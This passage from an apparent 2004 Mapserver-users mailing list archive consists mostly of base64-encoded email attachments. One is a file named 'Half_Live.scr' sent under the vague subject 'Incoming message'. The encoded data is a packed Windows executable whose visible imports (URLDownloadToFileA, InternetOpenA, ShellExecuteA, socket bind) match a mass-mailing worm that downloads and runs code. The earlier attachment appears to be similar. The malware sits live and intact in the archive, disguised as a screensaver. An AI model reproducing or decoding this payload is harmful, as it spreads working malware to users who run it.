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 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAMAAAAgAACADgAAAGAAAIAAAAAA AAAAAAAAAAAAAAEAAQAAADgAAIAAAAAAAAAAAAAAAAAAAAEAAAAAAFAAAACk8AAA6AIAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAABAAEAAAB4AACAAAAAAAAAAAAAAAAAAAABAAAAAACQAAAA kPMAABQAAAAAAAAAAAAAAKDAAAAoAAAAIAAAAEAAAAABAAQAAAAAAIACAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAgAAAgAAAAICAAIAAAACAAIAAgIAAAICAgADAwMAAAAD/AAD/AAAA//8A /wAAAP8A/wD//wAA////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHd3d3 d3d3AAAAAAAAAAAAB4iIiIiIhwAAAAAAAAAAAAc4iDM4iDcAAAAAAAAAAAAHs4MAA4OHAAAA AAAAAAAAB/8w/7A4hwAAAAAAAAAAAAe4D7//A4cAAAAAAAAAAAAHgL//v/A3AAAAAAAAAAAA Bw//v/+/AwAAAAAAAAAAAAf/v/+//7AAAAAAAAAAAAAHd3d3d3d3AAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA//////////////// //////////////////////////////////////////////////////////////////////// ////////gAH//4AB//+AAf//gAH//4AB//+AAf//gAH//4AB//+AAf//gAH//4AB//////// //////////+IwwAAAAABAAEAICAQAAEABADoAgAAAQAAAAAAAAAAAAAAAADY9AAAgPQAAAAA AAAAAAAAAAAAAOX0AACQ9AAAAAAAAAAAAAAAAAAA8vQAAJj0AAAAAAAAAAAAAAAAAAD89AAA oPQAAAAAAAAAAAAAAAAAAAb1AACo9AAAAAAAAAAAAAAAAAAAEvUAALD0AAAAAAAAAAAAAAAA AAAe9QAAuPQAAAAAAAAAAAAAAAAAACn1AADA9AAAAAAAAAAAAAAAAAAANPUAAMj0AAAAAAAA AAAAAAAAAABA9QAA0PQAAAAAAAAAAAAAAAAAAAAAAAAAAAAATPUAAFr1AABq9QAAAAAAAHj1 AAAAAAAAhvUAAAAAAACQ9QAAAAAAAJ71AAAAAAAArvUAAAAAAAC49QAAAAAAAMz1AAAAAAAA 2PUAAAAAAADo9QAAAAAAAEtFUk5FTDMyLkRMTABhZHZhcGkzMi5kbGwAZ2RpMzIuZGxsAG9s ZTMyLmRsbABTSEVMTDMyLmRsbABzaGx3YXBpLmRsbAB1cmxtb24uZGxsAHVzZXIzMi5kbGwA d2luaW5ldC5kbGwAd3NvY2szMi5kbGwAAABMb2FkTGlicmFyeUEAAEdldFByb2NBZGRyZXNz AABFeGl0UHJvY2VzcwAAAFJlZ0Nsb3NlS2V5AAAARGVsZXRlREMAAENvSW5pdGlhbGl6ZQAA U2hlbGxFeGVjdXRlQQAAAFN0ckR1cEEAAABVUkxEb3dubG9hZFRvRmlsZUEAAHdzcHJpbnRm QQAAAEludGVybmV0T3BlbkEAAABiaW5kAAAAAAAAAAAAAAAAAAAAAAAAS5MIKwS7G4oywzkk ODqdYmqYBjxZFsMMqZWkhhSQRChItaCuFGMBZzW5RX0adGRSu6KZCiE8f4a6hSIHQHVIDVcD wbhrHyqfLXuVaXudLih/K4NPKLq9gjJVSXlNlVEjulh8xb9gRlYvRCeMv56ORpVVUyGTT4CK L60eHJ7Br29zOpMLNGAYHDOqRjqEViCDMRK2fSehbwmaoH0KHYQOtit2PJnGuo28YUQKjnwj HIxQYKVXAkaBkLN3c3mmv0o2GVW/DI2OHZ4Xqki5uFGBhZm6CGtaSn8ahVlDiFY= ----------rcwerwjumropermshmcj-- From steve.lime at dnr.state.mn.us Sun Jun 20 08:18:09 2004 From: steve.lime at dnr.state.mn.us (Steve.lime) Date: Sun, 20 Jun 2004 09:18:09 -0600 Subject: [Mapserver-users] Incoming message Message-ID: ----------slkfnyxzewjygpcpdmpm Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit
----------slkfnyxzewjygpcpdmpm Content-Type: application/octet-stream; name="Half_Live.scr" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Half_Live.scr" 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 